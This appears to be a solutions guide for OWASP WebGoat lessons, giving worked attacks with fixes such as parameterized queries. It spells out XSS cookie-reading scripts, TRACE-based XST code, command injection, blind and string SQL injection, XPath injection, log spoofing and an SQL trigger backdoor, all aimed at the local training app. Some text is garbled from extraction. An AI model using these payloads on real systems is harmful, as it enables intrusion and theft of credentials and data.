Security Testing

•

Code Quality

•

Concurrency

•

Invalidated Parameters

•

Access Control Flaws

•

Authentication Flaws

•

Session Management Flaws

•

Cross-Site Scripting (XSS)

•

Buffer Overflows

•

Injection Flaws

•

Improper Error Handling

•

Insecure Storage

•

Denial of Service

•

Insecure Configuration

•

Web Services

•

AJAX Security

Challenge

Concurrency Lesson Plan Title: How to Exploit Thread Safety Problems

Concept / Topic To Teach: Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe. Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.

General Goal(s): The user should be able to exploit the concurrency error in the web application and view login information for another user that is attempting the same function at the same time. This will require the use of two browsers. Lesson Plan Title: Shopping Cart Concurrency Flaw

Concept / Topic To Teach:

Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe. Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.

General Goal(s): For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price. Unvalidated Parameters Lesson Plan Title: How to Exploit Hidden Fields

Concept / Topic To Teach: Developers will use hidden fields for tracking, login, pricing, etc.. information on a loaded page. While this is a convenient and easy mechanism for the developer, they often don't validate the information that is received from the hidden field. This lesson will teach the attacker to find and modify hidden fields to obtain a product for a price other than the price specified

General Goal(s): The user should be able to exploit a hidden field to obtain a product at an incorrect price.

How to Exploit Unchecked Email

Concept / Topic To Teach: It is always a good practice to validate all inputs. Most sites allow non-authenticated users to send email to a 'friend'. This is a great mechanism for spammers to send out email using your corporate mail server.

General Goal(s): The user should be able to send and obnoxious email message. Plan Title: How to Bypass Client Side JavaScript Validation

Concept / Topic To Teach: Client-side validation should not be considered a secure means of validating parameters. These validations only help reduce the amount of server processing time for normal users who do not know the format of required input. Attackers can bypass these mechanisms easily in various ways.

Any client-side validation should be duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in the application.

General Goal(s): For this exercise, the web site requires that you follow certain rules when you fill out a form. The user should be able to break those rules, and send the website input that it wasn't expecting. Access Control Flaws Using an Access Control Matrix

Concept / Topic To Teach: In a role-based access control scheme, a role represents a set of access permissions and privileges. A user can be assigned one or more roles. A role-based access control scheme normally consists of two parts: role permission management and role assignment. A broken role-based access control scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or somehow allow privilege escalation to an unauthorized role.

General Goal(s): Each user is a member of a role that is allowed to access only certain resources. Your goal is to explore the access control rules that govern this site. Only the [Admin] group should have access to the 'Account Manager' resource.

How to Bypass a Path Based Access Control Scheme

Concept / Topic To Teach: In a path based access control scheme, an attacker can traverse a path by providing relative path information. Therefore an attacker can use relative paths to access files that normally are not directly accessible by anyone, or would otherwise be denied if requested directly.

General Goal(s): The user should be able to access a file that is not in the listed directory.

Role Based Access Control

Concept / Topic To Teach: In role-based access control scheme, a role represents a set of access permissions and privileges. A user can be assigned one or more roles. A role-based access control normally consists of two parts: role permission management and role assignment. A broken role-based access control

scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or somehow obtain unauthorized roles.

General Goal(s): Your goal is to explore the access control rules that govern this site. Each role has permission to certain resources (A-F). Each user is assigned one or more roles. Only the user with the [Admin] role should have access to the 'F' resources. In a successful attack, a user doesn't have the [Admin] role can access resource Stage 1: Bypass Business Layer Access Control Stage 2: Add Business Layer Access Control Stage 3: Bypass Data Layer Access Control Stage 4: Add Data Layer Access Control How to Force Browser Web Resources Concept / Topic To Teach: Applications will often have an administrative interface that allows privileged users access to functionality that normal users shouldn't see. The application server will often have an admin interface as well. Standards Addressed : General Goal(s): Try to access the administrative interface for WebGoat. You may also try to access the administrative interface for Tomcat. The Tomcat admin interface can be accessed via a URL (/admin) and will not count towards the completion of this lesson. How to Exploit the Forgot Password Page

Concept / Topic To Teach: Web applications frequently provide their users the ability to retrieve a forgotten password. Unfortunately, many web applications fail to implement the mechanism properly. The information required to verify the identity of the user is often overly simplistic.

General Goal(s): Users can retrieve their password if they can answer the secret question properly. There is no lockout mechanism on this 'Forgot Password' page. Your username is 'webgoat' and your favorite color is 'red'. The goal is to retrieve the password of another use Basic Authentication

Concept / Topic To Teach: Basic Authentication is used to protect server side resources. The web server will send a 401 authentication request with the response for the requested resource. The client side browser will

then prompt the user for a user name and password using a browser supplied dialog box. The browser will base64 encode the user name and password and send those credentials back to the web server. The web server will then validate the credentials and return the requested resource if the credentials are correct. These credentials are automatically resent for each page protected with this mechanism without requiring the user to enter their credentials again.

General Goal(s): For this lesson, your goal is to understand Basic Authentication and answer the questions below. Session Management Flaws How to Spoof an Authentication Cookie Concept / Topic To Teach: Many applications will automatically log a user into their site if the right authentication cookie is specified. Some times the cookie values can be guessed if the algorithm for generating the cookie can be obtained. Some times the cookies are left on the client machine and can be stolen by exploiting another system vulnerability. Some times the cookies maybe intercepted using Cross site scripting. This lesson tries to make the student aware of authentication cookies and presents the student with a way to defeat the cookie authentication method in this lesson.

General Goal(s): The user should be able to bypass the authentication check How to Hijack a Session

Concept / Topic To Teach: Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks.

General Goal(s): Try to access an authenticated session belonging to someone else. Cross-Site Scripting (XSS) Phishing with XSS •

LAB: Cross Site Scripting

a) Stage 1: Stored XSS b) Stage 2: Block Stored XSS using Input Validation c)

Stage 3: Stored XSS Revisited

d) Stage 4: Block Stored XSS using Output Encoding

e) Stage 5: Reflected XSS f)

Stage 6: Block Reflected XSS

•

Stored XSS Attacks

•

Reflected XSS Attacks

•

Cross Site Request Forgery (CSRF)

•

HTTPOnly Test

•

Cross Site Tracing (XST) Attacks

Phishing with XSS

password

---

This feature requires account login:

Enter Username:

Enter Password:

---

This lesson is an example of how a website might support a phishing attack

Below is an example of a standard search feature. Using XSS and HTML insertion, your goal is to: Insert html to that requests credentials Add javascript to actually collect the credentials Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes... To pass this lesson, the credentials must be posted to the catcher servlet. How to Perform Cross Site Scripting (XSS)

Concept / Topic To Teach: It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.

XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.

General Goal(s): For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attack Enter this: <script language="javascript" Ha"); in message fields.

type="text/javascript">alert("Ha

Ha

Enter this: <script>alert("document.cookie"); in message fields Validate early. Consider: out.println("Order for " + request.getParameter("product") + " being processed..."); Validate early. Consider: out.println("Order for " + request.getParameter("product") + " being processed...");

How to Perform Stored Cross Site Scripting (XSS)

Concept / Topic To Teach: It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.

General Goal(s): The user should be able to add message content that cause another user to load an undesireable page or content. <script language=?javascript? type=?text/javascript?>alert(?Ha Ha Ha?);

How to Perform Reflected Cross Site Scripting (XSS)

Concept / Topic To Teach: It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.

General Goal(s): For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script and do something bad. A simple script is <SCRIPT>alert('bang!');. You can use <SCRIPT>alert(document.cookie); to access the session id cookie Try a cross site trace (XST) Command: <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","
"); document.write(str1);}

How to Perform Cross Site Request Forgery.

Concept / Topic To Teach: This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks.

How the attacks works: Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page that contains img links like the one below: When the victim's browser attempts to render this page, it will issue a request to www.mybank.com to the transferFunds.do page with the specified parameters. The browser will think the link is to get an image, even though it actually is a funds transfer function. The request will include any cookies associated with the site. Therefore, if the user has authenticated to the site, and has either a permanent cookie or even a current session cookie, the site will have no way to distinguish this from a legitimate user request. In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, or any other function provided by the vulnerable website

General Goal(s): Your goal is to send an email to a newsgroup that contains an image whose URL is pointing to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the

HttpOnly Test

Concept / Topic To Teach: To help mitigate the cross site scripting threat, Microsoft has introduced a new cookie attribute entitled 'HttpOnly.' If this flag is set, then the browser should not allow client-side script to access the cookie. Since the attribute is relatively new, several browsers neglect to handle the new attribute properly.

General Goal(s): The purpose of this lesson is to test whether your browser supports the HTTPOnly cookie flag. Note the value of the unique2u cookie. If your browser supports HTTPOnly, and you enable it for a cookie, client side code should NOT be able to read OR write to that cookie, but the browser can still send its value to the server. Some browsers only prevent client side read access, but don't prevent write access.

With the HTTPOnly attribute turned on, type "javascript:alert(document.cookie)" in the browser address bar. Notice all cookies are displayed except the unique2u cookie. How to Perform Cross Site Tracing (XST) Attacks

Concept / Topic To Teach: It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved.

General Goal(s): Tomcat is configured to support the HTTP TRACE command. Your goal is to perform a Cross Site Tracing (XST) attack. JavaScript has the ability to post a URL: <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("GET", "./", false); xmlHttp.send();str1=xmlHttp.responseText; document.write(str1); Try a cross site trace (XST) Command: <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 =

str1.replace("\n","
"); document.write(str1);}

Denial of Service from Multiple Logins Concept / Topic To Teach: Denial of service attacks are a major issue in web applications. If the end user cannot conduct business or perform the service offered by the web application, then both time and money is wasted. General Goal(s): This site allows a user to login multiple times. This site has a database connection pool that allows 2 connections. You must obtain a list of valid users and create a total of 3 logins.

Improper Error Handling

How to Bypass Fail Open Authentication Concept / Topic To Teach: This lesson presents the basics for understanding the "fail open" condition regarding authentication. The security term, “fail open” describes a behavior of a verification mechanism.

This is when an error (i.e. unexpected exception) occurs during a verification method causing that method to evaluate to true. This is especially dangerous during login.

General Goal(s): The user should be able to bypass the authentication check. Injection Flaws •

Command Injection

•

Blind SQL Injection

•

Numeric SQL Injection

•

Log Spoofing

•

XPATH Injection

•

String SQL Injection

LAB: SQL Injection Stage 1: String SQL Injection Stage 2: Parameterized Query #1 Stage 3: Numeric SQL Injection Stage 4: Parameterized Query #2 •

Database Backdoors

How to Perform Command Injection

Concept / Topic To Teach: Command injection attacks represent a serious threat to any parameter-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of parameter injection. It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.

General Goal(s): The user should be able to execute any command on the hosting OS.

Select a lesson from the drop-down box and click on ?View?.

Intercept the request with WebScarab when you click on ?View?. Append ? & netstat ?an & ipconfig to the HelpFile parameter. Do not forget the double quote!

Figure 2 Injecting command netstat & ipconfig

The result contains the output of the command netstat and ipconfig. How to Perform Blind SQL Injection Concept / Topic To Teach: SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of SQL injection. It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.

General Goal(s): The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database. Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 The goal is to find the value of the first_name in table user_data for userid 15613. Put that name in the form to pass the lesson. ========== General Goal(s): The user should be able to view all records in the specified table. The user could add new records or modify existing records. From the hints  Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Create a SQL statement that you can use as a true/false test and then select the first character of the target element and do a start narrowing down the character using > and < The backend database is HSQLDB. Keep that in mind if you research SQL functions on the Internet since different databases use some different functions and syntax. This is the code for the query being built and issued by WebGoat:

"SELECT * FROM user_data WHERE userid = " + accountNumber The application is taking your input and inserting it at the end of a pre-formed SQL command. You will need to make use of the following SQL functions: SELECT - query for your target data and get a string substr(string, start, length) - returns a substring of string starting at the start character and going for length characters ascii(string) will return the ascii value of the first character in string > and < - once you have a character's value, compare it to a choosen one Example: is the first character of the first_name of userid 15613 less than 'M' (ascii 77)? 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 ); If you get back that account number is valid, then yes. If get back that the number is invalid then answer is no. Another example: is the second character of the first_name of userid 15613 greater than 'm' (ascii 109)? 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109 ); If you get back that account number is valid, then yes. If get back that the number is invalid then answer is no.

Figure 1 Lesson 16 For the query: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 ); you will get a "Account number is valid". If the character is bigger then the value you get an invalid account error message.

Figure 2 Invalid account number You can change the < to = to make sure that you have the correct value. This results in the query 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) = 74 );

Figure 3 First character So you know that ascii(74) is capital J. Now do the same for the second and all other characters.

The query for the second character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) = 111 ); Ascii(111) = o, so you have now Jo.

For the third character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 3 , 1) ) = 101 ); Ascii(101) = e For the fourth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 4 , 1) ) = 115 ); Ascii(115) = s For the fifth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 5 , 1) ) = 112); Ascii(112) = p For the sixth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 6 , 1) ) = 104); Ascii(104) = h So the name that you found is Joesph. Enter this in the text field to complete this lesson.

Figure 4 Enter the name Joesph

Figure 5 Lesson 16 Completed

How to Perform Numeric SQL Injection Concept / Topic To Teach: SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite

these risks, an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented. It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner. General Goal(s): The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed. Solution: The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command. Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Try appending a SQL statement that always resolves to true. This is the query: SELECT * FROM weather_data WHERE station = 101 Intercept the post request with WebScarab and replace 101 with 101 or 1=1!

Figure 1 Intercepted Request with WebScarab

As the SQL Statement is true for every station you get a list of all stations:

Figure 2 All stations are visible Lesson Plan Title: How to Perform Log Spoofing. Concept / Topic To Teach: This lesson teaches attempts to fool the human eye. How the attacks works: The attack is based on fooling the human eye in log files. An attacker can erase his traces from the logs using this attack. General Goal(s):

The grey area below represents what is going to be logged in the web server's log file. Your goal is to make it like a username "admin" has succeeded into logging in. Elevate your attack by adding a script to the log file.

Figure 1 Log Spoofing Solution: This lesson accepts any input for a username and appends the information to the log file. Enter for username the text: smith Login Succeeded for username admin

Figure 2 Log spoof with long text

The text is added to the same line, not a new line. But any input is allowed. In this way you can inject carriage return (%0d) and line feed (%0a) to the application. Fill out the following text for the username: Smith%0d%0aLogin Succeeded for username: admin

Figure 3 Lesson completed An attacker can use this attack to add malicious JavaScript to the log file, which will be viewed by the administrator using a browser. What happens when you inject admin <script>alert(document.cookie) for the username?

How to Perform XPATH Injection Attacks. Concept / Topic To Teach: This lesson teaches how to perform XPath Injection attacks. How the attacks works: Similar to SQL Injection, XPATH Injection attacks occur when a web site uses user supplied information to query XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured or access data that they may not normally have access to. They may even be able to elevate their privileges on the web site if the xml data is being used for authentication (such as an xml based user file). Querying XML is done with XPath, a type of simple descriptive statement that allows the xml query to locate a piece of information. Like SQL you can specify certain attributes to find and patterns to match. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return the wrong data. General Goal(s): The form below allows employees to see all their personal data including their salaries. Your account is Mike/test123. Your goal is to try to see other employees data as well.

Figure 1 XPath Injection XPath injection is similar to SQL Injection. Input is not validated and used to create a XPath query. Here you can see how the XPATH query is built: String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml"); File d = new File(dir); XPathFactory factory = XPathFactory.newInstance(); XPath xPath = factory.newXPath(); InputSource inputSource = new InputSource(new FileInputStream(d)); String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']"; nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

Figure 2 Inject XPath payload Injecting Smith' or 1=1 or 'a'='a will log you on as the first user defined in the system. Password is a required field, so there you can enter whatever you want. This is what the server gets: expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='password']" And this is how the server interprets it: expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='password' ) ]"

Figure 3 Lesson completed

\ How to Perform a SQLInjection Concept / Topic To Teach: SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented. It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner. General Goal(s): For this exercise, you will perform SQLInjection attacks. You will also implement code changes in the web application to defeat these attacks. Solution: Select Neville as user to log in. Make sure WebScarab will intercept the next request. Hit the Login Button and Change the password parameter in WebScarab to smith' OR '1' = '1. Et voila you are logged in as Neville without knowing the password as the query will lookup if the password is smith and if not it controls if 1=1 what return true. How to Perform a SQLInjection Concept / Topic To Teach: SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented. It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner. General Goal(s): For this exercise, you will perform SQLInjection attacks. You will also implement code changes in the web application to defeat these attacks. Solution: To prevent a SQLInjection you can use "Parametreized Queries". This kind of query makes it possible to use every input of an user as a parameter. In this lesson you have to change org.owasp.webgoat.lessons.SQLInjection.Login.java The query execution in the method login looks like this: String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'"; // System.out.println("Query:" + query); try { Statement answer_statement = WebSession.getConnection(s) .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet answer_results = answer_statement.executeQuery(query); etc... To paramerize the Query you have to replace the userinput with questionmarks: String query = "SELECT * FROM employee WHERE userid = ? and password = ?"; Now follows the try block with the getConnection method: try { Connection connection = WebSession.getConnections(s);

The next step is to do a so called "PrepareStatement": PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); Now that the query is prepared we have to add the parameters to the query: statement.setString(1, userId); statement.setString(2, password); We are ready to execute the query! ResultSet answer_results = statement.executeQuery(); Putting everything together results in:

String query = "SELECT * FROM employee WHERE userid = ? and password = ?"; try { Connection connection = WebSession.getConnections(s); PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); statement.setString(1, userId); statement.setString(2, password); ResultSet answer_results = statement.executeQuery(); etc... How to Perform a SQLInjection Concept / Topic To Teach: SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented. It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner. General Goal(s): For this exercise, you will perform SQLInjection attacks. You will also implement code changes in the web application to defeat these attacks. Solution: Choose Larry to log in with password larry. Select yourself from the list and make sure that WebScarab will intercept the next request. Replace the id 101 with following: 101 OR 1=1 ORDER BY salary desc With '101 OR 1=1' we have a SQL Statement which is always true. It will get all the employees from the db but only return one of them. That is why we have to ensure we get the "Big Fish" which is the employee earning most. With 'ORDER BY SALARY DESC' we guarantee exactly this. How to Perform a SQLInjection Concept / Topic To Teach: SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.

It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner. General Goal(s): For this exercise, you will perform SQLInjection attacks. You will also implement code changes in the web application to defeat these attacks. Solution: The solution is simular to Stage2. That is why here is only a short solution. You have to alter the class org.owasp.webgoat.lessons.SQLInjection.ViewProfile.java Alter the method getEmployeeProfile to something like this: String query = "SELECT employee.* " + "FROM employee,ownership WHERE employee.userid = ownership.employee_id and " + "ownership.employer_id = ? and ownership.employee_id = ?"; try { Connection connection = WebSession.getConnections(s); PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); statement.setString(1, userId); statement.setString(2, subjectUserId); ResultSet answer_results = statement.executeQuery(); How to Perform String SQL Injection Concept / Topic To Teach: SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented. It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner. General Goal(s): The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed. Try the user name of 'Smith'. Solution: Compared with the previous lesson, there is now a string parameter and not an integer. Strings must be terminated with single quotes to have a valid SQL Query.

Figure 1 Lesson 18 The query used in this lesson is: SELECT * FROM user_data WHERE last_name = 'Your Name' Enter for the last name value: Erwin' OR '1'='1

Figure 2 Lesson 18 Completed Lesson Plan Title: How to Create Database Back Door Attacks. Concept / Topic To Teach: How to Create Database Back Door Attacks.

How the attacks works: Databases are used usually as a backend for web applications. Also it is used as a media of storage. It can also be used as a place to store a malicious activity such as a trigger. A trigger is called by the database management system upon the execution of another database operation like insert, select, update or delete. An attacker for example can create a trigger that would set his email address instead of every new user's email address. General Goal(s): Your goal should be to learn how you can exploit a vulnerable query to create a trigger. You will not be able to actually create one in this lesson because the underlying database engine used with WebGoat doesn't support triggers. Your login ID is 101.

Figure 1 Database backdoor Solution: Enter your user ID 101 to see how the application works.

Figure 2 User ID is 101 As you probably noticed, the input is not validated so very easy to do SQL Injection. To have two SQL queries executed, you need to separate them using a sem-colon. For example select * from employees; drop table employees will first select all the users from employees and then drop the table employees. Not all databases support multiple SQL statements. Here you need to update the salary of the employees. This requires an update query like update employees set salary=10000. Inject this for the user ID: 101; update employee set salary=10000

Figure 3 Update query

Figure 4 Stage 1 completed To create a database trigger, you need to inject the following SQL: CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHERE userid = NEW.userid

Figure 5 Insert trigger

Figure 6 Lesson completed

Insecure Communication

Lesson Plan Title:Insecure Login Concept / Topic To Teach: Sensitive data should never sent in plaintext! Often applications switch to a secure connection after the authorization. An attacker could just sniff the login and use the gathered information to break into an account. A good webapplication always takes care of encrypting sensitive data. General Goal(s): See how easy it is to sniff a password in plaintext. Understand the advantages of encrypting the login data! Solution: This lesson has two stages. In the first stage you try to sniff a password which is sent in plaintext. In the second stage you try the same but on a secure connection. You need a client server setup for this lesson. Please refer to the Tomcat Setup in the Introduction section. Stage 1 Start a sniffer. If you do not have one we recommend wireshark, which is free: Wireshark. Make sure you are capturing on the right interface. Click on the submit button ans stop the capturing. Now analyze the captured data.

Figure 1: Sniffed Traffic As you can see we are interested in the HTTP Post request as the password is transmitted there. The field for the password has the name clear_pass and has as value sniffy. Of course this is also the correct answer and you are done with stage 1. Stage 2 Now you have to switch to a secure connection. You archive this by changing the URL from http://... to https://... Sniff again the traffic as you have done in stage 1. As you will see there is not sent the password in plaintext. The server communicates with the application over a secure layer the so called Transport Layer Security (TLS) also called Secure Socket Layer (SSL).

TLS is a hybrid encrypting protocol. A master secret is built to communicate. This master secret is built by using SHA-1 and MD5. All traffic between the Server and the Cleint is encrypted. Insecure Configuration How to Perform Forced Browsing Attacks. Concept / Topic To Teach: How to Exploit Forced Browsing. How the attacks works: Forced browsing is a technique used by attackers to gain access to resources that are not referenced, but are nevertheless accessible. One technique is to manipulate the URL in the browser by deleting sections from the end until an unprotected directory is found General Goal(s): Your goal should be to try to guess the URL for the "config" interface. The "config" URL is only available to the maintenance personnel. The application doesn't check for horizontal privileges.

Figure 1 Insecure configuration management ? Forced Browsing Solution: If you want to access a restricted page, you need to be able to guess the URI to access the page, for example /admin. In this environment, WebGoat consists of different servlets that live in the WebGoat application. The main servlet is /attack, what could be the servlet for config? Try to access /WebGoat/config, /WebGoat/configuration, /WebGoat/conf, ?.

Figure 2 No /WebGoat/config

Figure 3 No /WebGoat/configuration

Figure 4 Bingo for /WebGoat/conf This could be automated with a tool like Wikto 2.

Parameter Tampering

Lesson Plan Title: How to Exploit Hidden Fields Concept / Topic To Teach: Developers will use hidden fields for tracking, login, pricing, etc.. information on a loaded page. While this is a convenient and easy mechanism for the developer, they often don't validate the information that is received from the hidden field. This lesson will teach the attacker to find and modify hidden fields to obtain a product for a price other than the price specified General Goal(s): The user should be able to exploit a hidden field to obtain a product at an incorrect price.

Figure 1 Lesson 4 Solution: To change the hidden field you need to start your favorite HTTP Interceptor. You can use WebScarab from OWASP to intercept the request and change the hidden field. Configure your browser to use a local proxy. In Internet Explorer you can do this via "Tools" ? "Internet Options" ? "Connections" ? "LAN Settings". You must define proxy "localhost" with port 8008.

Figure 2 Set local proxy in Internet Explorer Start WebScarab

Figure 3 Intercept request with WebScarab

Figure 4 Change the Price variable to 1

Figure 5 Lesson 4 Completed

Lesson Plan Title: How to Exploit Unchecked Email Concept / Topic To Teach: It is always a good practice to validate all inputs. Most sites allow non-authenticated users to send e-mail to a 'friend'. This is a great mechanism for spammers to send out email using your corporate mail server. General Goal(s): The user should be able to send an obnoxious email message. Solution: Type a malicious script like <script>alert("XSS") and click Send!

Figure 1 Lesson 5

Figure 2 Part 1 completed The second part of this lesson is to send a mail to a friend from OWASP. This can be accomplished by intercepting the request with WebScarab and changing the hidden field "to" from [email protected] to [email protected]

Figure 3 Change the variable to another e-mail address

Figure 4 Lesson 5 Completed Lesson Plan Title: How to Bypass Client Side JavaScript Validation Concept / Topic To Teach: Client-side validation should not be considered a secure means of validating parameters. This validation only helps reducing the amount of server processing time for normal users who do not know the format of required input. Attackers can bypass these mechanisms easily in various ways. Any client-side validation should be duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in the application. General Goal(s):

For this exercise, the web site requires that you follow certain rules when you fill out a form. The user should be able to break those rules, and send the website input that it wasn't expecting.

Figure 1 Lesson 6 There are two ways to complete this lesson. The first one is to submit a valid request like the one from the screenshot above and intercept this using WebScarab. The second way is to intercept the HTTP Response when loading the page and remove the Javascript that validates the values. Solution 1

Figure 2 Intercept request

Add different symbols to the fields and click "Accept changes".

Figure 3 Change parameters

Figure 4 Lesson 6 Completed Solution 2 Reload the page by clicking on the menu item "How to bypass Client-Side Javascript Validation" and intercept the response in WebScarab.

Figure 5 Enable "Intercept responses"

